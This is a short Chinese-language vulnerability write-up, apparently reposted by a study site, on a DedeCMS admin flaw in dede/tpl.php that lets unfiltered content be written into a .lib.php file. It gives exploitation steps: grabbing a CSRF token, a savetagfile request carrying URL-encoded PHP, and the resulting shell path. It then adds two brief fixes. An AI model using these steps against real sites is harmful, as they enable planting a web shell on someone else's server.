漏洞详情 织梦默认的后台地址是/dede/,当然也可以被更改,到时候根据网站具体情况替换默认后台地址即可。 dede/tpl.php中第251行到281行 csrf_check(); if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) { ShowMsg('文件名不合法,不允许进行操作!', '-1'); exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#\.lib\.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp); 2.可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。 漏洞利用 1.首先获取token 访问 域名 + /dede/tpl.php?action=upload。在页面源代码中获取到token值 token.jpg 然后访问 域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%**phpinfo();?%3E&token=[你的token值 shell: 域名 + /include/taglib/moonsec.lib.php 漏洞修复 1.禁止此处写入文件。 2.过滤恶意标签 (责任编辑:haoxuee)学友请微信搜索好学网,或加公众号 haoxueecom 获取更多学习资讯! |